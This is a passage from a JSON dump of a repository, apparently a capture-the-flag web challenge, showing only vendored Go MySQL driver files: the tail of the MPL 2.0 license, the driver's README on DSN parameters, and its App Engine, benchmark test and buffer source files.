license\nsteward.\n\n10.3. Modified Versions\n\nIf you create software not governed by this License, and you want to\ncreate a new license for such software, you may create and use a\nmodified version of this License if you rename the license and remove\nany references to the name of the license steward (except to note that\nsuch modified license differs from this License).\n\n10.4. Distributing Source Code Form that is Incompatible With Secondary\nLicenses\n\nIf You choose to distribute Source Code Form that is Incompatible With\nSecondary Licenses under the terms of this version of the License, the\nnotice described in Exhibit B of this License must be attached.\n\nExhibit A - Source Code Form License Notice\n-------------------------------------------\n\n  This Source Code Form is subject to the terms of the Mozilla Public\n  License, v. 2.0. If a copy of the MPL was not distributed with this\n  file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\nIf it is not possible or desirable to put the notice in a particular\nfile, then You may include the notice in a location (such as a LICENSE\nfile in a relevant directory) where a recipient would be likely to look\nfor such a notice.\n\nYou may add additional accurate notices of copyright ownership.\n\nExhibit B - \"Incompatible With Secondary Licenses\" Notice\n---------------------------------------------------------\n\n  This Source Code Form is \"Incompatible With Secondary Licenses\", as\n  defined by the Mozilla Public License, v. 2.0.\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/README.md",
    "content": "# Go-MySQL-Driver\n\nA MySQL-Driver for Go's [database/sql](http://golang.org/pkg/database/sql) package\n\n![Go-MySQL-Driver logo](https://raw.github.com/wiki/go-sql-driver/mysql/gomysql_m.png \"Golang Gopher holding the MySQL Dolphin\")\n\n---------------------------------------\n  * [Features](#features)\n  * [Requirements](#requirements)\n  * [Installation](#installation)\n  * [Usage](#usage)\n    * [DSN (Data Source Name)](#dsn-data-source-name)\n      * [Password](#password)\n      * [Protocol](#protocol)\n      * [Address](#address)\n      * [Parameters](#parameters)\n      * [Examples](#examples)\n    * [LOAD DATA LOCAL INFILE support](#load-data-local-infile-support)\n    * [time.Time support](#timetime-support)\n    * [Unicode support](#unicode-support)\n  * [Testing / Development](#testing--development)\n  * [License](#license)\n\n---------------------------------------\n\n## Features\n  * Lightweight and [fast](https://github.com/go-sql-driver/sql-benchmark \"golang MySQL-Driver performance\")\n  * Native Go implementation. No C-bindings, just pure Go\n  * Connections over TCP/IPv4, TCP/IPv6, Unix domain sockets or [custom protocols](http://godoc.org/github.com/go-sql-driver/mysql#DialFunc)\n  * Automatic handling of broken connections\n  * Automatic Connection Pooling *(by database/sql package)*\n  * Supports queries larger than 16MB\n  * Full [`sql.RawBytes`](http://golang.org/pkg/database/sql/#RawBytes) support.\n  * Intelligent `LONG DATA` handling in prepared statements\n  * Secure `LOAD DATA LOCAL INFILE` support with file Whitelisting and `io.Reader` support\n  * Optional `time.Time` parsing\n  * Optional placeholder interpolation\n\n## Requirements\n  * Go 1.2 or higher\n  * MySQL (4.1+), MariaDB, Percona Server, Google CloudSQL or Sphinx (2.2.3+)\n\n---------------------------------------\n\n## Installation\nSimple install the package to your [$GOPATH](http://code.google.com/p/go-wiki/wiki/GOPATH \"GOPATH\") with the [go tool](http://golang.org/cmd/go/ \"go command\") from shell:\n```bash\n$ go get github.com/go-sql-driver/mysql\n```\nMake sure [Git is installed](http://git-scm.com/downloads) on your machine and in your system's `PATH`.\n\n## Usage\n_Go MySQL Driver_ is an implementation of Go's `database/sql/driver` interface. You only need to import the driver and can use the full [`database/sql`](http://golang.org/pkg/database/sql) API then.\n\nUse `mysql` as `driverName` and a valid [DSN](#dsn-data-source-name)  as `dataSourceName`:\n```go\nimport \"database/sql\"\nimport _ \"github.com/go-sql-driver/mysql\"\n\ndb, err := sql.Open(\"mysql\", \"user:password@/dbname\")\n```\n\n[Examples are available in our Wiki](https://github.com/go-sql-driver/mysql/wiki/Examples \"Go-MySQL-Driver Examples\").\n\n\n### DSN (Data Source Name)\n\nThe Data Source Name has a common format, like e.g. [PEAR DB](http://pear.php.net/manual/en/package.database.db.intro-dsn.php) uses it, but without type-prefix (optional parts marked by squared brackets):\n```\n[username[:password]@][protocol[(address)]]/dbname[?param1=value1&...&paramN=valueN]\n```\n\nA DSN in its fullest form:\n```\nusername:password@protocol(address)/dbname?param=value\n```\n\nExcept for the databasename, all values are optional. So the minimal DSN is:\n```\n/dbname\n```\n\nIf you do not want to preselect a database, leave `dbname` empty:\n```\n/\n```\nThis has the same effect as an empty DSN string:\n```\n\n```\n\nAlternatively, [Config.FormatDSN](https://godoc.org/github.com/go-sql-driver/mysql#Config.FormatDSN) can be used to create a DSN string by filling a struct.\n\n#### Password\nPasswords can consist of any character. Escaping is **not** necessary.\n\n#### Protocol\nSee [net.Dial](http://golang.org/pkg/net/#Dial) for more information which networks are available.\nIn general you should use an Unix domain socket if available and TCP otherwise for best performance.\n\n#### Address\nFor TCP and UDP networks, addresses have the form `host:port`.\nIf `host` is a literal IPv6 address, it must be enclosed in square brackets.\nThe functions [net.JoinHostPort](http://golang.org/pkg/net/#JoinHostPort) and [net.SplitHostPort](http://golang.org/pkg/net/#SplitHostPort) manipulate addresses in this form.\n\nFor Unix domain sockets the address is the absolute path to the MySQL-Server-socket, e.g. `/var/run/mysqld/mysqld.sock` or `/tmp/mysql.sock`.\n\n#### Parameters\n*Parameters are case-sensitive!*\n\nNotice that any of `true`, `TRUE`, `True` or `1` is accepted to stand for a true boolean value. Not surprisingly, false can be specified as any of: `false`, `FALSE`, `False` or `0`.\n\n##### `allowAllFiles`\n\n```\nType:           bool\nValid Values:   true, false\nDefault:        false\n```\n\n`allowAllFiles=true` disables the file Whitelist for `LOAD DATA LOCAL INFILE` and allows *all* files.\n[*Might be insecure!*](http://dev.mysql.com/doc/refman/5.7/en/load-data-local.html)\n\n##### `allowCleartextPasswords`\n\n```\nType:           bool\nValid Values:   true, false\nDefault:        false\n```\n\n`allowCleartextPasswords=true` allows using the [cleartext client side plugin](http://dev.mysql.com/doc/en/cleartext-authentication-plugin.html) if required by an account, such as one defined with the [PAM authentication plugin](http://dev.mysql.com/doc/en/pam-authentication-plugin.html). Sending passwords in clear text may be a security problem in some configurations. To avoid problems if there is any possibility that the password would be intercepted, clients should connect to MySQL Server using a method that protects the password. Possibilities include [TLS / SSL](#tls), IPsec, or a private network.\n\n##### `allowNativePasswords`\n\n```\nType:           bool\nValid Values:   true, false\nDefault:        false\n```\n`allowNativePasswords=true` allows the usage of the mysql native password method.\n\n##### `allowOldPasswords`\n\n```\nType:           bool\nValid Values:   true, false\nDefault:        false\n```\n`allowOldPasswords=true` allows the usage of the insecure old password method. This should be avoided, but is necessary in some cases. See also [the old_passwords wiki page](https://github.com/go-sql-driver/mysql/wiki/old_passwords).\n\n##### `charset`\n\n```\nType:           string\nValid Values:   <name>\nDefault:        none\n```\n\nSets the charset used for client-server interaction (`\"SET NAMES <value>\"`). If multiple charsets are set (separated by a comma), the following charset is used if setting the charset failes. This enables for example support for `utf8mb4` ([introduced in MySQL 5.5.3](http://dev.mysql.com/doc/refman/5.5/en/charset-unicode-utf8mb4.html)) with fallback to `utf8` for older servers (`charset=utf8mb4,utf8`).\n\nUsage of the `charset` parameter is discouraged because it issues additional queries to the server.\nUnless you need the fallback behavior, please use `collation` instead.\n\n##### `collation`\n\n```\nType:           string\nValid Values:   <name>\nDefault:        utf8_general_ci\n```\n\nSets the collation used for client-server interaction on connection. In contrast to `charset`, `collation` does not issue additional queries. If the specified collation is unavailable on the target server, the connection will fail.\n\nA list of valid charsets for a server is retrievable with `SHOW COLLATION`.\n\n##### `clientFoundRows`\n\n```\nType:           bool\nValid Values:   true, false\nDefault:        false\n```\n\n`clientFoundRows=true` causes an UPDATE to return the number of matching rows instead of the number of rows changed.\n\n##### `columnsWithAlias`\n\n```\nType:           bool\nValid Values:   true, false\nDefault:        false\n```\n\nWhen `columnsWithAlias` is true, calls to `sql.Rows.Columns()` will return the table alias and the column name separated by a dot. For example:\n\n```\nSELECT u.id FROM users as u\n```\n\nwill return `u.id` instead of just `id` if `columnsWithAlias=true`.\n\n##### `interpolateParams`\n\n```\nType:           bool\nValid Values:   true, false\nDefault:        false\n```\n\nIf `interpolateParams` is true, placeholders (`?`) in calls to `db.Query()` and `db.Exec()` are interpolated into a single query string with given parameters. This reduces the number of roundtrips, since the driver has to prepare a statement, execute it with given parameters and close the statement again with `interpolateParams=false`.\n\n*This can not be used together with the multibyte encodings BIG5, CP932, GB2312, GBK or SJIS. These are blacklisted as they may [introduce a SQL injection vulnerability](http://stackoverflow.com/a/12118602/3430118)!*\n\n##### `loc`\n\n```\nType:           string\nValid Values:   <escaped name>\nDefault:        UTC\n```\n\nSets the location for time.Time values (when using `parseTime=true`). *\"Local\"* sets the system's location. See [time.LoadLocation](http://golang.org/pkg/time/#LoadLocation) for details.\n\nNote that this sets the location for time.Time values but does not change MySQL's [time_zone setting](https://dev.mysql.com/doc/refman/5.5/en/time-zone-support.html). For that see the [time_zone system variable](#system-variables), which can also be set as a DSN parameter.\n\nPlease keep in mind, that param values must be [url.QueryEscape](http://golang.org/pkg/net/url/#QueryEscape)'ed. Alternatively you can manually replace the `/` with `%2F`. For example `US/Pacific` would be `loc=US%2FPacific`.\n\n##### `maxAllowedPacket`\n```\nType:          decimal number\nDefault:       0\n```\n\nMax packet size allowed in bytes. Use `maxAllowedPacket=0` to automatically fetch the `max_allowed_packet` variable from server.\n\n##### `multiStatements`\n\n```\nType:           bool\nValid Values:   true, false\nDefault:        false\n```\n\nAllow multiple statements in one query. While this allows batch queries, it also greatly increases the risk of SQL injections. Only the result of the first query is returned, all other results are silently discarded.\n\nWhen `multiStatements` is used, `?` parameters must only be used in the first statement.\n\n##### `parseTime`\n\n```\nType:           bool\nValid Values:   true, false\nDefault:        false\n```\n\n`parseTime=true` changes the output type of `DATE` and `DATETIME` values to `time.Time` instead of `[]byte` / `string`\n\n\n##### `readTimeout`\n\n```\nType:           decimal number\nDefault:        0\n```\n\nI/O read timeout. The value must be a decimal number with an unit suffix ( *\"ms\"*, *\"s\"*, *\"m\"*, *\"h\"* ), such as *\"30s\"*, *\"0.5m\"* or *\"1m30s\"*.\n\n##### `strict`\n\n```\nType:           bool\nValid Values:   true, false\nDefault:        false\n```\n\n`strict=true` enables a driver-side strict mode in which MySQL warnings are treated as errors. This mode should not be used in production as it may lead to data corruption in certain situations.\n\nA server-side strict mode, which is safe for production use, can be set via the [`sql_mode`](https://dev.mysql.com/doc/refman/5.7/en/sql-mode.html) system variable.\n\nBy default MySQL also treats notes as warnings. Use [`sql_notes=false`](http://dev.mysql.com/doc/refman/5.7/en/server-system-variables.html#sysvar_sql_notes) to ignore notes.\n\n##### `timeout`\n\n```\nType:           decimal number\nDefault:        OS default\n```\n\n*Driver* side connection timeout. The value must be a decimal number with an unit suffix ( *\"ms\"*, *\"s\"*, *\"m\"*, *\"h\"* ), such as *\"30s\"*, *\"0.5m\"* or *\"1m30s\"*. To set a server side timeout, use the parameter [`wait_timeout`](http://dev.mysql.com/doc/refman/5.6/en/server-system-variables.html#sysvar_wait_timeout).\n\n##### `tls`\n\n```\nType:           bool / string\nValid Values:   true, false, skip-verify, <name>\nDefault:        false\n```\n\n`tls=true` enables TLS / SSL encrypted connection to the server. Use `skip-verify` if you want to use a self-signed or invalid certificate (server side). Use a custom value registered with [`mysql.RegisterTLSConfig`](http://godoc.org/github.com/go-sql-driver/mysql#RegisterTLSConfig).\n\n##### `writeTimeout`\n\n```\nType:           decimal number\nDefault:        0\n```\n\nI/O write timeout. The value must be a decimal number with an unit suffix ( *\"ms\"*, *\"s\"*, *\"m\"*, *\"h\"* ), such as *\"30s\"*, *\"0.5m\"* or *\"1m30s\"*.\n\n\n##### System Variables\n\nAny other parameters are interpreted as system variables:\n  * `<boolean_var>=<value>`: `SET <boolean_var>=<value>`\n  * `<enum_var>=<value>`: `SET <enum_var>=<value>`\n  * `<string_var>=%27<value>%27`: `SET <string_var>='<value>'`\n\nRules:\n* The values for string variables must be quoted with '\n* The values must also be [url.QueryEscape](http://golang.org/pkg/net/url/#QueryEscape)'ed!\n (which implies values of string variables must be wrapped with `%27`)\n\nExamples:\n  * `autocommit=1`: `SET autocommit=1`\n  * [`time_zone=%27Europe%2FParis%27`](https://dev.mysql.com/doc/refman/5.5/en/time-zone-support.html): `SET time_zone='Europe/Paris'`\n  * [`tx_isolation=%27REPEATABLE-READ%27`](https://dev.mysql.com/doc/refman/5.5/en/server-system-variables.html#sysvar_tx_isolation): `SET tx_isolation='REPEATABLE-READ'`\n\n\n#### Examples\n```\nuser@unix(/path/to/socket)/dbname\n```\n\n```\nroot:pw@unix(/tmp/mysql.sock)/myDatabase?loc=Local\n```\n\n```\nuser:password@tcp(localhost:5555)/dbname?tls=skip-verify&autocommit=true\n```\n\nTreat warnings as errors by setting the system variable [`sql_mode`](https://dev.mysql.com/doc/refman/5.7/en/sql-mode.html):\n```\nuser:password@/dbname?sql_mode=TRADITIONAL\n```\n\nTCP via IPv6:\n```\nuser:password@tcp([de:ad:be:ef::ca:fe]:80)/dbname?timeout=90s&collation=utf8mb4_unicode_ci\n```\n\nTCP on a remote host, e.g. Amazon RDS:\n```\nid:password@tcp(your-amazonaws-uri.com:3306)/dbname\n```\n\nGoogle Cloud SQL on App Engine (First Generation MySQL Server):\n```\nuser@cloudsql(project-id:instance-name)/dbname\n```\n\nGoogle Cloud SQL on App Engine (Second Generation MySQL Server):\n```\nuser@cloudsql(project-id:regionname:instance-name)/dbname\n```\n\nTCP using default port (3306) on localhost:\n```\nuser:password@tcp/dbname?charset=utf8mb4,utf8&sys_var=esc%40ped\n```\n\nUse the default protocol (tcp) and host (localhost:3306):\n```\nuser:password@/dbname\n```\n\nNo Database preselected:\n```\nuser:password@/\n```\n\n### `LOAD DATA LOCAL INFILE` support\nFor this feature you need direct access to the package. Therefore you must change the import path (no `_`):\n```go\nimport \"github.com/go-sql-driver/mysql\"\n```\n\nFiles must be whitelisted by registering them with `mysql.RegisterLocalFile(filepath)` (recommended) or the Whitelist check must be deactivated by using the DSN parameter `allowAllFiles=true` ([*Might be insecure!*](http://dev.mysql.com/doc/refman/5.7/en/load-data-local.html)).\n\nTo use a `io.Reader` a handler function must be registered with `mysql.RegisterReaderHandler(name, handler)` which returns a `io.Reader` or `io.ReadCloser`. The Reader is available with the filepath `Reader::<name>` then. Choose different names for different handlers and `DeregisterReaderHandler` when you don't need it anymore.\n\nSee the [godoc of Go-MySQL-Driver](http://godoc.org/github.com/go-sql-driver/mysql \"golang mysql driver documentation\") for details.\n\n\n### `time.Time` support\nThe default internal output type of MySQL `DATE` and `DATETIME` values is `[]byte` which allows you to scan the value into a `[]byte`, `string` or `sql.RawBytes` variable in your programm.\n\nHowever, many want to scan MySQL `DATE` and `DATETIME` values into `time.Time` variables, which is the logical opposite in Go to `DATE` and `DATETIME` in MySQL. You can do that by changing the internal output type from `[]byte` to `time.Time` with the DSN parameter `parseTime=true`. You can set the default [`time.Time` location](http://golang.org/pkg/time/#Location) with the `loc` DSN parameter.\n\n**Caution:** As of Go 1.1, this makes `time.Time` the only variable type you can scan `DATE` and `DATETIME` values into. This breaks for example [`sql.RawBytes` support](https://github.com/go-sql-driver/mysql/wiki/Examples#rawbytes).\n\nAlternatively you can use the [`NullTime`](http://godoc.org/github.com/go-sql-driver/mysql#NullTime) type as the scan destination, which works with both `time.Time` and `string` / `[]byte`.\n\n\n### Unicode support\nSince version 1.1 Go-MySQL-Driver automatically uses the collation `utf8_general_ci` by default.\n\nOther collations / charsets can be set using the [`collation`](#collation) DSN parameter.\n\nVersion 1.0 of the driver recommended adding `&charset=utf8` (alias for `SET NAMES utf8`) to the DSN to enable proper UTF-8 support. This is not necessary anymore. The [`collation`](#collation) parameter should be preferred to set another collation / charset than the default.\n\nSee http://dev.mysql.com/doc/refman/5.7/en/charset-unicode.html for more details on MySQL's Unicode support.\n\n\n## Testing / Development\nTo run the driver tests you may need to adjust the configuration. See the [Testing Wiki-Page](https://github.com/go-sql-driver/mysql/wiki/Testing \"Testing\") for details.\n\nGo-MySQL-Driver is not feature-complete yet. Your help is very appreciated.\nIf you want to contribute, you can work on an [open issue](https://github.com/go-sql-driver/mysql/issues?state=open) or review a [pull request](https://github.com/go-sql-driver/mysql/pulls).\n\nSee the [Contribution Guidelines](https://github.com/go-sql-driver/mysql/blob/master/CONTRIBUTING.md) for details.\n\n---------------------------------------\n\n## License\nGo-MySQL-Driver is licensed under the [Mozilla Public License Version 2.0](https://raw.github.com/go-sql-driver/mysql/master/LICENSE)\n\nMozilla summarizes the license scope as follows:\n> MPL: The copyleft applies to any files containing MPLed code.\n\n\nThat means:\n  * You can **use** the **unchanged** source code both in private and commercially\n  * When distributing, you **must publish** the source code of any **changed files** licensed under the MPL 2.0 under a) the MPL 2.0 itself or b) a compatible license (e.g. GPL 3.0 or Apache License 2.0)\n  * You **needn't publish** the source code of your library as long as the files licensed under the MPL 2.0 are **unchanged**\n\nPlease read the [MPL 2.0 FAQ](http://www.mozilla.org/MPL/2.0/FAQ.html) if you have further questions regarding the license.\n\nYou can read the full terms here: [LICENSE](https://raw.github.com/go-sql-driver/mysql/master/LICENSE)\n\n![Go Gopher and MySQL Dolphin](https://raw.github.com/wiki/go-sql-driver/mysql/go-mysql-driver_m.jpg \"Golang Gopher transporting the MySQL Dolphin in a wheelbarrow\")\n\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/appengine.go",
    "content": "// Go MySQL Driver - A MySQL-Driver for Go's database/sql package\n//\n// Copyright 2013 The Go-MySQL-Driver Authors. All rights reserved.\n//\n// This Source Code Form is subject to the terms of the Mozilla Public\n// License, v. 2.0. If a copy of the MPL was not distributed with this file,\n// You can obtain one at http://mozilla.org/MPL/2.0/.\n\n// +build appengine\n\npackage mysql\n\nimport (\n\t\"appengine/cloudsql\"\n)\n\nfunc init() {\n\tRegisterDial(\"cloudsql\", cloudsql.Dial)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/benchmark_test.go",
    "content": "// Go MySQL Driver - A MySQL-Driver for Go's database/sql package\n//\n// Copyright 2013 The Go-MySQL-Driver Authors. All rights reserved.\n//\n// This Source Code Form is subject to the terms of the Mozilla Public\n// License, v. 2.0. If a copy of the MPL was not distributed with this file,\n// You can obtain one at http://mozilla.org/MPL/2.0/.\n\npackage mysql\n\nimport (\n\t\"bytes\"\n\t\"database/sql\"\n\t\"database/sql/driver\"\n\t\"math\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n)\n\ntype TB testing.B\n\nfunc (tb *TB) check(err error) {\n\tif err != nil {\n\t\ttb.Fatal(err)\n\t}\n}\n\nfunc (tb *TB) checkDB(db *sql.DB, err error) *sql.DB {\n\ttb.check(err)\n\treturn db\n}\n\nfunc (tb *TB) checkRows(rows *sql.Rows, err error) *sql.Rows {\n\ttb.check(err)\n\treturn rows\n}\n\nfunc (tb *TB) checkStmt(stmt *sql.Stmt, err error) *sql.Stmt {\n\ttb.check(err)\n\treturn stmt\n}\n\nfunc initDB(b *testing.B, queries ...string) *sql.DB {\n\ttb := (*TB)(b)\n\tdb := tb.checkDB(sql.Open(\"mysql\", dsn))\n\tfor _, query := range queries {\n\t\tif _, err := db.Exec(query); err != nil {\n\t\t\tif w, ok := err.(MySQLWarnings); ok {\n\t\t\t\tb.Logf(\"warning on %q: %v\", query, w)\n\t\t\t} else {\n\t\t\t\tb.Fatalf(\"error on %q: %v\", query, err)\n\t\t\t}\n\t\t}\n\t}\n\treturn db\n}\n\nconst concurrencyLevel = 10\n\nfunc BenchmarkQuery(b *testing.B) {\n\ttb := (*TB)(b)\n\tb.StopTimer()\n\tb.ReportAllocs()\n\tdb := initDB(b,\n\t\t\"DROP TABLE IF EXISTS foo\",\n\t\t\"CREATE TABLE foo (id INT PRIMARY KEY, val CHAR(50))\",\n\t\t`INSERT INTO foo VALUES (1, \"one\")`,\n\t\t`INSERT INTO foo VALUES (2, \"two\")`,\n\t)\n\tdb.SetMaxIdleConns(concurrencyLevel)\n\tdefer db.Close()\n\n\tstmt := tb.checkStmt(db.Prepare(\"SELECT val FROM foo WHERE id=?\"))\n\tdefer stmt.Close()\n\n\tremain := int64(b.N)\n\tvar wg sync.WaitGroup\n\twg.Add(concurrencyLevel)\n\tdefer wg.Wait()\n\tb.StartTimer()\n\n\tfor i := 0; i < concurrencyLevel; i++ {\n\t\tgo func() {\n\t\t\tfor {\n\t\t\t\tif atomic.AddInt64(&remain, -1) < 0 {\n\t\t\t\t\twg.Done()\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tvar got string\n\t\t\t\ttb.check(stmt.QueryRow(1).Scan(&got))\n\t\t\t\tif got != \"one\" {\n\t\t\t\t\tb.Errorf(\"query = %q; want one\", got)\n\t\t\t\t\twg.Done()\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\t}\n}\n\nfunc BenchmarkExec(b *testing.B) {\n\ttb := (*TB)(b)\n\tb.StopTimer()\n\tb.ReportAllocs()\n\tdb := tb.checkDB(sql.Open(\"mysql\", dsn))\n\tdb.SetMaxIdleConns(concurrencyLevel)\n\tdefer db.Close()\n\n\tstmt := tb.checkStmt(db.Prepare(\"DO 1\"))\n\tdefer stmt.Close()\n\n\tremain := int64(b.N)\n\tvar wg sync.WaitGroup\n\twg.Add(concurrencyLevel)\n\tdefer wg.Wait()\n\tb.StartTimer()\n\n\tfor i := 0; i < concurrencyLevel; i++ {\n\t\tgo func() {\n\t\t\tfor {\n\t\t\t\tif atomic.AddInt64(&remain, -1) < 0 {\n\t\t\t\t\twg.Done()\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tif _, err := stmt.Exec(); err != nil {\n\t\t\t\t\tb.Fatal(err.Error())\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\t}\n}\n\n// data, but no db writes\nvar roundtripSample []byte\n\nfunc initRoundtripBenchmarks() ([]byte, int, int) {\n\tif roundtripSample == nil {\n\t\troundtripSample = []byte(strings.Repeat(\"0123456789abcdef\", 1024*1024))\n\t}\n\treturn roundtripSample, 16, len(roundtripSample)\n}\n\nfunc BenchmarkRoundtripTxt(b *testing.B) {\n\tb.StopTimer()\n\tsample, min, max := initRoundtripBenchmarks()\n\tsampleString := string(sample)\n\tb.ReportAllocs()\n\ttb := (*TB)(b)\n\tdb := tb.checkDB(sql.Open(\"mysql\", dsn))\n\tdefer db.Close()\n\tb.StartTimer()\n\tvar result string\n\tfor i := 0; i < b.N; i++ {\n\t\tlength := min + i\n\t\tif length > max {\n\t\t\tlength = max\n\t\t}\n\t\ttest := sampleString[0:length]\n\t\trows := tb.checkRows(db.Query(`SELECT \"` + test + `\"`))\n\t\tif !rows.Next() {\n\t\t\trows.Close()\n\t\t\tb.Fatalf(\"crashed\")\n\t\t}\n\t\terr := rows.Scan(&result)\n\t\tif err != nil {\n\t\t\trows.Close()\n\t\t\tb.Fatalf(\"crashed\")\n\t\t}\n\t\tif result != test {\n\t\t\trows.Close()\n\t\t\tb.Errorf(\"mismatch\")\n\t\t}\n\t\trows.Close()\n\t}\n}\n\nfunc BenchmarkRoundtripBin(b *testing.B) {\n\tb.StopTimer()\n\tsample, min, max := initRoundtripBenchmarks()\n\tb.ReportAllocs()\n\ttb := (*TB)(b)\n\tdb := tb.checkDB(sql.Open(\"mysql\", dsn))\n\tdefer db.Close()\n\tstmt := tb.checkStmt(db.Prepare(\"SELECT ?\"))\n\tdefer stmt.Close()\n\tb.StartTimer()\n\tvar result sql.RawBytes\n\tfor i := 0; i < b.N; i++ {\n\t\tlength := min + i\n\t\tif length > max {\n\t\t\tlength = max\n\t\t}\n\t\ttest := sample[0:length]\n\t\trows := tb.checkRows(stmt.Query(test))\n\t\tif !rows.Next() {\n\t\t\trows.Close()\n\t\t\tb.Fatalf(\"crashed\")\n\t\t}\n\t\terr := rows.Scan(&result)\n\t\tif err != nil {\n\t\t\trows.Close()\n\t\t\tb.Fatalf(\"crashed\")\n\t\t}\n\t\tif !bytes.Equal(result, test) {\n\t\t\trows.Close()\n\t\t\tb.Errorf(\"mismatch\")\n\t\t}\n\t\trows.Close()\n\t}\n}\n\nfunc BenchmarkInterpolation(b *testing.B) {\n\tmc := &mysqlConn{\n\t\tcfg: &Config{\n\t\t\tInterpolateParams: true,\n\t\t\tLoc:               time.UTC,\n\t\t},\n\t\tmaxAllowedPacket: maxPacketSize,\n\t\tmaxWriteSize:     maxPacketSize - 1,\n\t\tbuf:              newBuffer(nil),\n\t}\n\n\targs := []driver.Value{\n\t\tint64(42424242),\n\t\tfloat64(math.Pi),\n\t\tfalse,\n\t\ttime.Unix(1423411542, 807015000),\n\t\t[]byte(\"bytes containing special chars ' \\\" \\a \\x00\"),\n\t\t\"string containing special chars ' \\\" \\a \\x00\",\n\t}\n\tq := \"SELECT ?, ?, ?, ?, ?, ?\"\n\n\tb.ReportAllocs()\n\tb.ResetTimer()\n\tfor i := 0; i < b.N; i++ {\n\t\t_, err := mc.interpolateParams(q, args)\n\t\tif err != nil {\n\t\t\tb.Fatal(err)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/buffer.go",
    "content": "// Go MySQL Driver - A MySQL-Driver for Go's database/sql package\n//\n// Copyright 2013 The Go-MySQL-Driver Authors. All rights reserved.\n//\n// This Source Code Form is subject to the terms of the Mozilla Public\n// License, v. 2.0. If a copy of the MPL was not distributed with this file,\n// You can obtain one at http://mozilla.org/MPL/2.0/.\n\npackage mysql\n\nimport (\n\t\"io\"\n\t\"net\"\n\t\"time\"\n)\n\nconst defaultBufSize = 4096\n\n// A buffer which is used for both reading and writing.\n// This is possible since communication on each connection is synchronous.\n// In other words, we can't write and read simultaneously on the same connection.\n// The buffer is similar to bufio.Reader / Writer but zero-copy-ish\n// Also highly optimized for this particular use case.\ntype buffer struct {\n\tbuf     []byte\n\tnc      net.Conn\n\tidx     int\n\tlength  int\n\ttimeout time.Duration\n}\n\nfunc newBuffer(nc net.Conn) buffer {\n\tvar b [defaultBufSize]byte\n\treturn buffer{\n\t\tbuf: b[:],\n\t\tnc:  nc,\n\t}\n}\n\n// fill reads into the buffer until at least _need_ bytes are in it\nfunc (b *buffer) fill(need int) error {\n\tn := b.length\n\n\t// move existing data to the beginning\n\tif n > 0 && b.idx > 0 {\n\t\tcopy(b.buf[0:n], b.buf[b.idx:])\n\t}\n\n\t// grow buffer if necessary\n\t// TODO: let the buffer shrink again at some point\n\t//       Maybe keep the org buf slice and swap back?\n\tif need > len(b.buf) {\n\t\t// Round up to the next multiple of the default size\n\t\tnewBuf := make([]byte, ((need/defaultBufSize)+1)*defaultBufSize)\n\t\tcopy(newBuf, b.buf)\n\t\tb.buf = newBuf\n\t}\n\n\tb.idx = 0\n\n\tfor {\n\t\tif b.timeout > 0 {\n\t\t\tif err := b.nc.SetReadDeadline(time.Now().Add(b.timeout)); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\tnn, err := b.nc.Read(b.buf[n:])\n\t\tn += nn\n\n\t\tswitch err {\n\t\tcase nil:\n\t\t\tif n < need {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tb.length = n\n\t\t\treturn nil\n\n\t\tcase io.EOF:\n\t\t\tif n >= need {\n\t\t\t\tb.length = n\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\treturn io.ErrUnexpectedEOF\n\n\t\tdefault:\n\t\t\treturn err\n\t\t}\n\t}\n}\n\n// returns next N bytes from buffer.\n// The returned slice is only guaranteed to be valid until the next read\nfunc (b *buffer) readNext(need int) ([]byte, error) {\n\tif b.length < need {\n\t\t// refill\n\t\tif err := b.fill(need); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\toffset := b.idx\n\tb.idx += need\n\tb.length -= need\n\treturn b.buf[offset:b.idx], nil\n}\n\n// returns a buffer with the requested size.\n// If possible, a slice from the existing buffer is returned.\n// Otherwise a bigger buffer is made.\n// Only one buffer (total) can be used at a time.\nfunc (b *buffer) takeBuffer(length int) []byte {\n\tif b.length > 0 {\n\t\treturn nil\n\t}\n\n\t// test (cheap) general case first\n\tif length <= defaultBufSize || length <= cap(b.buf) {\n\t\treturn b.buf[:length]\n\t}\n\n\tif length < maxPacketSize {\n\t\tb.buf = make([]byte, length)\n\t\treturn b.buf\n\t}\n\treturn make([]byte, length)\n}\n\n// shortcut which can be used if the requested buffer is guaranteed to be\n// smaller than defaultBufSize\n// Only one buffer (total) can be used at a time.\nfunc (b *buffer) takeSmallBuffer(length int) []byte {\n\tif b.length == 0 {\n\t\treturn b.buf[:length]\n\t}\n\treturn nil\n}\n\n// takeCompleteBuffer returns the complete existing buffer.\n// This can be used if the necessary buffer size is unknown.\n// Only one buffer (total) can be used at a time.\nfunc (b *buffer) takeCompleteBuffer() []byte {\n\tif b.length == 0 {\n\t\treturn b.buf\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/collations.go",
